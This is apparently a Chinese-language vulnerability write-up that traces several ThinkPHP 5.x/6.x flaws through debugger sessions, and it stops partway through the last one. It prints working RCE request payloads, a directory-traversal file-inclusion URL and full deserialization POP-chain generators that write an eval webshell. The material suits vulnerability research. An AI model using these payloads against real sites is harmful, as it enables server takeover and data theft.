Index.php:31, app\index\controller\Index->index()
App.php:343, ReflectionMethod->invokeArgs()
App.php:343, think\App::invokeMethod()
App.php:595, think\App::module()
App.php:457, think\App::exec()
App.php:139, think\App::run()
start.php:19, require()
index.php:17, {main}()

到这个read()函数

image-20230705132612535

$var是传入的get参数,这里是数组

然后进入if,执行了extract()函数,使得这个数组变为: $a=1

因为这里的$cacheFile前面控制不了,可以在这里进行变量覆盖修改它的值

传参数试试:

?cacheFile=123

image-20230705133509895

成功修改

public 目录下写一个phpinfo.php试试,因为网站根目录是这

image-20230705133824031

也可以使用绝对路径

5.0.10 cache缓存函数远程代码执行

控制器:

<?php
namespace app\index\controller;
use think\Cache;
class Index
{
    public function index()
    {
       Cache::set("name",input("get.username"));
       return Cache::get('name');
    }
}

官方修改:
image-20230705140742143

可以看到官方为了不让用户构造的数据执行,在前面加上了exit();

本版本的代码如下

public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        $filename = $this->getCacheKey($name);
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
        $result = file_put_contents($filename, $data);
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }
    }

直接在这下断点调试

image-20230705142607510

红色方框处是获取文件名,和绝对路径

看一下,文件名生成规则:

protected function getCacheKey($name)
    {
        $name = md5($name);
        if ($this->options['cache_subdir']) {
            // 使用子目录
            $name = substr($name, 0, 2) . DS . substr($name, 2);
        }
        if ($this->options['prefix']) {
            $name = $this->options['prefix'] . DS . $name;
        }
        $filename = $this->options['path'] . $name . '.php';
        $dir      = dirname($filename);
        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }
        return $filename;
    }

然后再将传入的数据,即缓存数据进行序列化

image-20230705142924210

这里的 $this->options[‘data_compress’] 变量默认情况下为 false ,所以数据不会经过 gzcompress 函数处理。

image-20230705143449734

然后就是进行代码拼接,拼接的是序列化后的值,写入刚刚生成的php文件,虽然在序列化数据前面拼接了单行注释符 // ,但是我们可以通过注入换行符绕过该限制。

image-20230705143101908

所以构造poc, 其中%0d%0a是回车符和换行符

?username=123%0d%0aphpinfo();//

image-20230705144448553

远程代码执行(1)

该漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生

5.0.7<=ThinkPHP5<=5.0.22

测试环境5.0.10

5.0.23官方修复:添加了对控制器名的检查

image-20230705152558263

在默认的情况下,可以使用路由兼容模式 s 参数,访问控制器内容

image-20230705153739024

例如:

 http://site/?s=模块/控制器/方法/参数/参数值

断点调试

http://127.0.0.1/?s=index/index/index
run()

在这个方法里调用了 routeCheck进行了路由检查

image-20230705163740925

跟进

run()-->routeCheck()

到了这里,这个方法对s传入的控制器/方法/参数进行解析

这里用了/对传入的字符串进行分割

image-20230705163934153

分割后得到

image-20230705164451952

image-20230705164508469

解析完这个后返回到run()

调用了exec()

image-20230705164623977

跟进

run()-->exec()

image-20230705164738354

继续跟进

run()-->exec()-->module()

这里可以看到官方修改的部分

image-20230705165150186

这里是根据刚刚那个划分出来的数组进行分别处理,[1]为控制器,[2]为操作名

后面的就是调用这个控制器对应的操作

image-20230705165406310

整个过程下来,没有对控制器名进行任何检查,可以调用任意控制器的任意方法(已经加载的类)

下面的是可以利用的

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id  #执行系统命令

5.1.0<=ThinkPHP<=5.1.30

测试环境5.1.30

5.1.31官方修复:

image-20230705153155297

这个版本的和上面5.0.x版本漏洞是差不多的,也是没有对控制器名进行检查

调试

?s=index/index/index

run()方法先进行初始化,然后调用routeCheck()

image-20230705184502066

跟进

run() --> routeCheck()

image-20230705184732894

在这里获取到s传来的参数,即 模块/控制器/方法

然后调用check(),对路由进行处理

image-20230705184934238

跟进

run() --> routeCheck() -->check()

image-20230705185130881

在这里,路由的/被替换成’| ,即变成index|index|index

来到think/route/dispatch/Module.php

run() --> init() -->init()

image-20230705185855493

这里解析出控制器名和操作名

接下来就是实例化然后执行

think\route\dispatch\Module->exec()

image-20230705190032330

整个过程中没有对控制器名进行检查,从而导致该漏洞

可利用的控制器:

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

远程代码执行(2)

5.0.0<=ThinkPHP5<=5.0.23 and 5.1.0<=ThinkPHP<=5.1.30

5.0.23分析

5.0.23版本对比5.0.24,官方修改了Request类,添加了对请求方法的检查

image-20230705191618791

可以很明显的看出 $method 来自可控的 $_POST数组,而且在获取之后没有进行任何检查,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST。也就相当于可以随意调用 Request 类的部分方法。

这个method()方法在解析路由的过程中调用

调用栈如下

Request.php:507, think\Request->method()
Route.php:848, think\Route::check()
App.php:632, think\App::routeCheck()
App.php:116, think\App::run()
start.php:19, require()
index.php:17, {main}()

在method()方法中

public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }

关键点在

image-20230705195700446

Config::get('var_method')是获取配置文件中的var_method的值,

image-20230705200127564

检查是否POST了参数_method,然后获取POST来的_method的值,转成大写,然后将这个值当成函数去执行,该函数的参数是$_POST

也就是POST的所有数据

这里的下一个目标是,在这个类中找到一个可以利用的方法,而且是有参方法

这里找到的是__construct

protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }

        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }

这段代码很关键

image-20230705202147580

这里会检查$this对象或类是否具有$name属性,如果有,将给这个属性赋值为$item,这给后面利用带来许多操作空间

该类有许多属性,现在要利用哪个还不确定

protected $get                  protected static $instance;
protected $post                 protected $method;
protected $request              protected $domain;
protected $route                protected $url;
protected $put;                 protected $baseUrl;
protected $session              protected $baseFile;
protected $file                 protected $root;
protected $cookie               protected $pathinfo;
protected $server               protected $path;
protected $header               protected $routeInfo 
protected $mimeType             protected $env;
protected $content;             protected $dispatch 
protected $filter;              protected $module;
protected static $hook          protected $controller;
protected $bind                 protected $action;
protected $input;               protected $langset;
protected $cache;               protected $param   
protected $isCheckCache;    

如果框架在配置文件中开启了 debug 模式( 'app_debug'=> true ),程序会调用Request 类的 param 方法。这个方法我们需要特别关注了,因为 Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 filterValue 方法,而该方法中就存在可利用的 call_user_func函数。

image-20230705204938325

跟进 param 方法。发现其调用 method 方法。其会调用 server方法

image-20230705213056585

在 server 方法中把 $this->server传入了 input 方法 ,这个 $this->server的值,我们可以通过先前 Request类的 __construct 方法来覆盖赋值

可控数据作为 $data 传入 input 方法

image-20230705213226503

跟进input

$data会被 filterValue 方法使用 $filter 过滤器处理。其中 $filter的值部分来自$this->filter ,又是可以通过先前Request 类的__construct方法来覆盖赋值。

image-20230705213513687

接下来就是 filterValue方法调用call_user_func处理数据的过程,代码执行就是发生在这里

image-20230705213543908

所以再开启了Debug后的exp是:

POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

image-20230705214402354

还有许多调用链,而且不同版本会有所不同,原理都是一样的

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

反序列化

5.0.x

高版本(5.0.24)

控制器

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $c = unserialize($_GET['c']);
        var_dump($c);
        return 'Welcome to thinkphp5.0.24';
    }
}

反序列化第一步,先找__destruct()

image-20230706093127919

这里使用的是process/pipes/Windows.php的__destruct(),它调用了自己的removeFiles()方法

查看这个方法

private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

这个$this->files是可以控制的,经过file_exists($filename)可以触发__tostring(),这里存在一个任意文删除

全局搜索__tostring()

image-20230706094845102

这里选择的是Model.php里面的__tostring方法

跟进其调用的toJson()

public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

继续跟进$this->toArray(),发现这里的可控参数比较多 (这部分有点懵逼)

image-20230706100617880

这里可以找到一个触发__call的地方

此时,需要控制$value为一个带有__call的类对象,往上查找,$value是来自这

image-20230706101439978

其中,参数 $modelRelation = $this->$relation() ,实际上就是 think\Model 类任意方法的返回结果。这里选择返回结果简单可控的 getError 方法

public function getError()
{
    return $this->error;
}

在getRelationData方法里,要进入第一个if语句才能赋值成想要的类

image-20230706104144796

层层分析,要满足

$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();
$this->parent = new xxx()  //调用__call

全局搜索__call

这里选择的是console/Output.php的Output类

image-20230706105401777

public function __call($method, $args)
    {
        if (in_array($method, $this->styles)) {
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args);
        }

        if ($this->handle && method_exists($this->handle, $method)) {
            return call_user_func_array([$this->handle, $method], $args);
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }

这个方法调用了call_user_func_array把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入

在第一个call_user_func_array中调用了block方法

protected function block($style, $message)
    {
        $this->writeln("<{$style}>{$message}</$style>");
    }

继续跟进writeln

public function writeln($messages, $type = self::OUTPUT_NORMAL)
    {
        $this->write($messages, true, $type);
    }

继续跟进write

public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
    $this->handle->write($messages, $newline, $type);
}

$this->handle可控,可以修改为某个类,执行这个类的write

全局搜索 write 方法进一步利用,跟进 thinkphp/library/think/session/driver/Memcached.php

public function write($sessID, $sessData)
{
    return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

这个$this->handle也是可控的,

全局搜索set方法,找到thinkphp/library/think/cache/driver/File.php

public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof \DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        $filename = $this->getCacheKey($name, true);
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }
    }

这里存在一个php文件写入,虽然前面有exit()避免后面的数据被执行,但是这里可以使用伪协议绕过

这里存在一个问题,只能控制文件名,写入为文件的数据来自$value, 根据链子传参,$value= true ,是不可控的

而且在windows环境下,文件名存在限制

往下存在setTagItem调用,传参是文件名

image-20230706115302269

跟进查看:

protected function setTagItem($name)
    {
        if ($this->tag) {
            $key       = 'tag_' . md5($this->tag);
            $this->tag = null;
            if ($this->has($key)) {
                $value   = explode(',', $this->get($key));
                $value[] = $name;
                $value   = implode(',', array_unique($value));
            } else {
                $value = $name;
            }
            $this->set($key, $value, 0);
        }
    }

这个函数会再次调用set()方法,并且set方法的value是来自文件名$name,也就是说可以把前面的文件名写入到文件里

如果第一次调用set方法的时候把恶意代码写到文件名里,第二此调用set的时候就能够把文件名的内容写入到新的php文件里

最终POP链:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}

class Windows extends Pipes{
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();#class Query
    }
}

namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
    function __construct(){
        parent::__construct();
    }

}
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"];
    }
}

namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();//目的调用其write()
        $this->styles = ['getAttr'];
    }
}

namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct(){
        $this->parent = new Output();#Output对象,目的是调用__call()
        $this->append = ['getError'];
        $this->error = new HasOne();//Relation子类,且有getBindAttr()
        $this->selfRelation = false;//isSelfRelation()
        $this->query = new Query();

    }
}

namespace think\db;#Query
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();
    }
}

namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();//目的调用File->set()
    }
}
namespace think\cache\driver;#File
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[q1ab])?>',
            'data_compress' => false,
        ];
        $this->tag = true;
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{

}


use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
低版本 (5.0.3)

控制器

<?php
namespace app\index\controller;
class Index
{
    public function index()
    {
        $c = unserialize($_GET['c']);
        var_dump($c);
        return 'Welcome to thinkphp';
    }
}

因为低版本的toArray()函数和高版本的有所不同,不存在调用__call()的条件,所以需要重新找一条链子

__destruct开始找,除了process/pipes/Windows.php外还有3个可以选,但是只有一条是可利用的 Process.php

image-20230706144327242

这里调用了stop()方法,跟进查看

public function stop()
    {
        if ($this->isRunning()) {
            if ('\\' === DS && !$this->isSigchildEnabled()) {
                exec(sprintf('taskkill /F /T /PID %d 2>&1', $this->getPid()), $output, $exitCode);
                if ($exitCode > 0) {
                    throw new \RuntimeException('Unable to kill the process');
                }
            } else {
                $pids = preg_split('/\s+/', `ps -o pid --no-heading --ppid {$this->getPid()}`);
                foreach ($pids as $pid) {
                    if (is_numeric($pid)) {
                        posix_kill($pid, 9);
                    }
                }
            }
        }

        $this->updateStatus(false);
        if ($this->processInformation['running']) {
            $this->close();
        }

        return $this->exitcode;
    }

跟进isRunning()

public function isRunning()
    {
        if (self::STATUS_STARTED !== $this->status) {
            return false;
        }

        $this->updateStatus(false);

        return $this->processInformation['running'];
    }

里面会调用一个updateStatus方法,并且$this->status可控,可以让程序走到这

跟进查看

    protected function updateStatus($blocking)
    {
        if (self::STATUS_STARTED !== $this->status) {
            return;
        }

        $this->processInformation = proc_get_status($this->process);
        $this->captureExitCode();

        $this->readPipes($blocking, '\\' === DS ? !$this->processInformation['running'] : true);

        if (!$this->processInformation['running']) {
            $this->close();
        }
    }

后面的$this->close()是可以利用的,第一行就可以触发__call

image-20230706150633080

但是程序走不到这里,当运行proc_get_status的时候就会报错退出了

image-20230706150555278

这里的close()是不能利用了

在上面的 stop()方法中,后面就自带了 close(),利用这个就行,只需:

$this->processInformation['running']=true;
$this->status=3;//只有不相等就行

跟进close()

image-20230706152017394

这里触发__call(),需要控制$this->processPipes

尝试直接触发think\console\Output类中的__call魔术方法。由于block方法需要2个参数

image-20230706153015240

需要找到另外一个__call方法

最终找到model/Relation.php这个文件下的__call

public function __call($method, $args)
    {
        if ($this->query) {
            switch ($this->type) {
                case self::HAS_MANY:
                    if (isset($this->where)) {
                        $this->query->where($this->where);
                    } elseif (isset($this->parent->{$this->localKey})) {
                        // 关联查询带入关联条件
                        $this->query->where($this->foreignKey, $this->parent->{$this->localKey});
                    }
                    break;
                case self::HAS_MANY_THROUGH:
                    $through      = $this->middle;
                    $model        = $this->model;
                    $alias        = Loader::parseName(basename(str_replace('\\', '/', $model)));
                    $throughTable = $through::getTable();
                    $pk           = (new $this->model)->getPk();
                    $throughKey   = $this->throughKey;
                    $modelTable   = $this->parent->getTable();
                    $this->query->field($alias . '.*')->alias($alias)
                        ->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey)
                        ->join($modelTable, $modelTable . '.' . $this->localKey . '=' . $throughTable . '.' . $this->foreignKey)
                        ->where($throughTable . '.' . $this->foreignKey, $this->parent->{$this->localKey});
                    break;
                case self::BELONGS_TO_MANY:
                    // TODO

            }
            $result = call_user_func_array([$this->query, $method], $args);
            if ($result instanceof \think\db\Query) {
                $this->option = $result->getOptions();
                return $this;
            } else {
                $this->option = [];
                return $result;
            }
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }

这个__call就非常的好用,query和type和where都可以控制

image-20230706155221160

这里就可以构造,调用上面Output类的__call()方法了

class Relation
{
    protected $query;
    const HAS_ONE          = 1;
    const HAS_MANY         = 2;
    const HAS_MANY_THROUGH = 5;
    const BELONGS_TO       = 3;
    const BELONGS_TO_MANY  = 4;
    protected $type=2;
    protected $where=1;
    public function __construct()
    {
        $this->query=new Output();
    }
}

跟进Output中的__call

image-20230706163554437

进行跟进

__call-->block-->writeln-->write-->
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
    {
        $this->handle->write($messages, $newline, $type);
    }

通过这里可以调用任意类的write方法,

这里找到两个一样的,都调用了set方法

//session/driver/Memcache.php
public function write($sessID, $sessData)
    {
        return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
    }
//session/driver/Memcached.php
public function write($sessID, $sessData)
    {
        return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
    }

最后选择了session/driver/Memcached.php

全局搜索set方法,和高版本的一样,使用cache/driver/File.php这里的set,

后面的操作是和高版本的相同的,调用了两次set方法,然后第二次调用的时候吧恶意代码存进php文件里

image-20230706171130685

注意:因为windows对文件名存在限制,这个pop链只能在linux环境使用

<?php
namespace think;


class Process
{
    private $processPipes;

    private $status;

    private $processInformation;
    public function  __construct(){
        $this->processInformation['running']=true;
        $this->status=3;
        $this->processPipes=new \think\model\Relation();
    }

}
namespace think\model;

use think\console\Output;

class Relation
{
    protected $query;
    const HAS_ONE          = 1;
    const HAS_MANY         = 2;
    const HAS_MANY_THROUGH = 5;
    const BELONGS_TO       = 3;
    const BELONGS_TO_MANY  = 4;
    protected $type=2;
    protected $where=1;
    public function __construct()
    {
        $this->query=new Output();
    }
}


namespace think\console;
use think\session\driver\Memcached;
class Output{
    protected $styles = [
        'info',
        'error',
        'comment',
        'question',
        'highlight',
        'warning',
        'getTable',
        'where'
    ];
    private $handle;
    public function __construct()
    {
//        $this->handle = (new \think\session\driver\Memcache);
        $this->handle = new Memcached();//目的调用其write()
//        $this->styles = ['getAttr'];
    }
}


namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
    protected $tag;
    protected $handler;

    public function __construct()
    {
        $this->tag = true;
   
        $this->handler = (new File);
    }
}

namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
    protected $tag;
    protected $options;
    public function __construct()
    {
        $this->tag = false;
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[q1ab])?>',
            'data_compress' => false,
        ];
        $this->tag = true;
    }
}

namespace think\cache;
abstract class Driver
{

}


use think\Process;
$a=new Process();
echo urlencode(serialize($a));

5.1.x

5.1.30

public function index()
    {
        $c = unserialize($_GET['c']);
        var_dump($c);
        return 'Welcome to thinkphp';
    }

全局搜索__destruct , 这里使用的是think/process/pipes/Windows.php的

public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

跟进removeFiles()

private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

这里存在一个任意文删除,因为$this->files可控,还可以触发__toString

全局搜索__toString

存在13个结果,但是这里使用的是think/model/concern/Conversion.php__toString 方法

public function __toString()
    {
        return $this->toJson();
    }

到这里先构造部分POP链

namespace think\process\pipes;
use think\model\concern\Conversion;
class Windows extends Pipes
{
    private $files=[];
    public function __construct()
    {
        $this->files=[xxx];//
    }
}

use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

这里的xxx是只向Conversion.php__toString 方法所在的类Conversion

image-20230706194702593

由于convertiontrait类,Trait是一种代码复用机制,它允许在不同类之间共享方法的代码块

所以只要找到一个使用了conversion的类即可,全局搜索conversion只找到Model类

image-20230706194922743

由于Model是抽象类,我们得找到Model的实现类,全局搜索extends Model找到Pivot

image-20230706195420277

所以exp要这样写

namespace think\process\pipes;
abstract class Pipes
{

}

namespace think\process\pipes;
use think\model\Pivot;
class Windows extends Pipes
{
    private $files=[];
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

namespace think;

abstract class Model
{

}

namespace think\model;
use think\Model;
class Pivot extends Model
{

}

use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

回到__toString跟进这个toJson()方法

public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

跟进toArray()

image-20230706204511419

在这里可以看到有许多参数都是可控的,例如$this->data,$this->relation,$this->visible,$this->append

这里能够使用的是getAttr()方法

先查看这个方法:

image-20230706211615736

这个$closure是可控的,可以用来调用任意函数,其参数$value,是由上一层传来的参数控制,也可控

image-20230706211900803

这个$key来自$this->data,

image-20230706212008652

所以只是需要如下构造,即可实现system(‘calc’)

protected $append = ['a'=>[]];
    private $withAttr = [];
    private $data = [];

    public function __construct($data = [])
    {
        $this->withAttr=['b'=>'system'];
        $this->data=['b'=>'calc'];
    }

最终的调用栈

Attribute.php:511, think\Model->getAttr()
Conversion.php:161, think\Model->toArray()
Conversion.php:209, think\Model->toJson()
Conversion.php:225, think\Model->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
Container.php:395, app\index\controller\Index->index()
Container.php:395, ReflectionMethod->invokeArgs()
Container.php:395, think\Container->invokeReflectMethod()
Module.php:135, think\route\dispatch\Module->think\route\dispatch\{closure}()
Middleware.php:185, call_user_func_array:{D:\phpstudy_pro\WWW\thinkphp-5.1.30\thinkphp\library\think\Middleware.php:185}()
Middleware.php:185, think\Middleware->think\{closure}()
Middleware.php:130, call_user_func:{D:\phpstudy_pro\WWW\thinkphp-5.1.30\thinkphp\library\think\Middleware.php:130}()
Middleware.php:130, think\Middleware->dispatch()
Module.php:140, think\route\dispatch\Module->exec()
Dispatch.php:168, think\route\Dispatch->run()
App.php:432, think\App->think\{closure}()
Middleware.php:185, call_user_func_array:{D:\phpstudy_pro\WWW\thinkphp-5.1.30\thinkphp\library\think\Middleware.php:185}()
Middleware.php:185, think\Middleware->think\{closure}()
Middleware.php:130, call_user_func:{D:\phpstudy_pro\WWW\thinkphp-5.1.30\thinkphp\library\think\Middleware.php:130}()
Middleware.php:130, think\Middleware->dispatch()
App.php:435, think\App->run()
index.php:21, {main}()

POP链

<?php

namespace think\process\pipes;
abstract class Pipes
{

}


namespace think\process\pipes;
use think\model\Pivot;
class Windows extends Pipes
{
    private $files=[];
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}


namespace think;

abstract class Model
{
    protected $append = ['a'=>[]];
    private $withAttr = [];
    private $data = [];

    public function __construct($data = [])
    {
        $this->withAttr=['b'=>'system'];
        $this->data=['b'=>'calc'];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model
{

}

use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

5.2.x

(无测试环境,暂时PASS)

ThinkPHP 6.x

任意php文件包含(6.0.1~6.0.13,5.0.x,5.1.x)

漏洞描述:

如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含

和6.0.14版本比较,发现官方删除了Lang.php的detect函数

image-20230708190607220

LoadLangPack.php的detect函数也有修改

image-20230708190749712

分析这个detect()

image-20230708191822492

这个函数首先是从http请求中的三个地方获取数据,然后转成小写字母保存到$langSet中

然后如果满足if条件,就将$langSet保存到range中返回

image-20230708192423332

全局查找detect()的引用,找到了Lang.php的handle函数,正是加载语言包的地方

查看handle()

public function handle($request, Closure $next)
    {
        // 自动侦测当前语言
        $langset = $this->lang->detect($request);

        if ($this->lang->defaultLangSet() != $langset) {
            // 加载系统语言包
            $this->lang->load([
                $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
            ]);

            $this->app->LoadLangPack($langset);
        }

        $this->lang->saveToCookie($this->app->cookie);

        return $next($request);
    }

在函数第一条代码中,就调用了,detect()方法

环境搭建

搭建环境,传参调试一下:

开启开启多语言功能:

image-20230708194806182

http://127.0.0.1/?lang=../../../../../public/test

在handle函数下断点

image-20230708192934742

跟进detect()

image-20230708193017298

这里从get方法中获取值,保存到了langSet

往下,因为默认情况下allow_lang_list是空的,进入if语句

image-20230708193130198

image-20230708193216162

返会handle()

image-20230708193317784

然后加载语言包

这里出现一个目录拼接,$this->app->getThinkPath()是获取TP核心框架目录,

拼接结果:

...\topthink\framework\src\lang\../../../../../public/test.php

最终会加载public目录下的test.php

image-20230708194435061

结果:

image-20230708194532880

任意文件写(6.0.0,6.0.1)

环境:tp6.0.1

控制器:

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        session('demo', $_GET['demo']);
        return 'ThinkPHP V6.0.1';
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
}

修改 /app/middleware.php 文件如下,开启Session功能

<?php
// 全局中间件定义文件
return [
    // 全局请求缓存
    // \think\middleware\CheckRequestCache::class,
    // 多语言加载
    // \think\middleware\LoadLangPack::class,
    // Session初始化
     \think\middleware\SessionInit::class
];

对比6.0.1和6.0.2,官方修改了sessionid的检查,添加了ctype_alnum 函数验证$id只能是字母和数字或字母数字的组合

image-20230707093621722

漏洞具体流程如下:

?demo=AAAAA

当程序初始化的时候,会对seess进行初始化

image-20230707105459607

然后会调用getName()获取cookie中PHPSESSID的值,里面调用了setId()

image-20230707105829879

如果不存在PHPSESSID,或者不满足条件,则重新生成一个32位的PHPSESSID , 如果满足条件则不管

调用栈如下:

Store.php:121, think\session\Store->setId()
Store.php:61, think\session\Store->__construct()
Session.php:31, think\Session->createDriver()
Manager.php:65, think\Manager->getDriver()
Manager.php:55, think\Manager->driver()
Manager.php:174, think\Manager->__call()
SessionInit.php:50, think\Manager->getName()
SessionInit.php:50, think\middleware\SessionInit->handle()
Middleware.php:142, call_user_func:{D:\phpstudy_pro\WWW\thinkphp-6.0.1\vendor\topthink\framework\src\think\Middleware.php:142}()
Middleware.php:142, think\Middleware->think\{closure:D:\phpstudy_pro\WWW\thinkphp-6.0.1\vendor\topthink\framework\src\think\Middleware.php:137-148}()
Pipeline.php:84, think\Pipeline->think\{closure:D:\phpstudy_pro\WWW\thinkphp-6.0.1\vendor\topthink\framework\src\think\Pipeline.php:82-88}()
Pipeline.php:65, think\Pipeline->then()
Http.php:204, think\Http->runWithRequest()
Http.php:162, think\Http->run()
index.php:20, {main}()

返回handle()

image-20230707110224668

发现后面会再次取出PHPSESSID的值传给setId进行检查

后面的过程就是发送给客户端

当程序结束的时候,会执行中间件

image-20230707110744130

里面会调用Sessioninit.php的end方法

public function end(Response $response)
    {
        $this->session->save();
    }

往下会执行,调用栈如下:

Store.php:263, think\session\Store->save()
Manager.php:174, think\Manager->__call()
SessionInit.php:78, think\Manager->save()
SessionInit.php:78, think\middleware\SessionInit->end()
Middleware.php:165, think\Middleware->end()
Http.php:279, think\Http->end()
index.php:24, {main}()

在这里存在一个日志写入的操作

public function save(): void
    {
        $this->clearFlashData();

        $sessionId = $this->getId();

        if (!empty($this->data)) {
            $data = $this->serialize($this->data);

            $this->handler->write($sessionId, $data);
        } else {
            $this->handler->delete($sessionId);
        }

        $this->init = false;
    }

跟进write()

public function write(string $sessID, string $sessData): bool
    {
        $filename = $this->getFileName($sessID, true);
        $data     = $sessData;

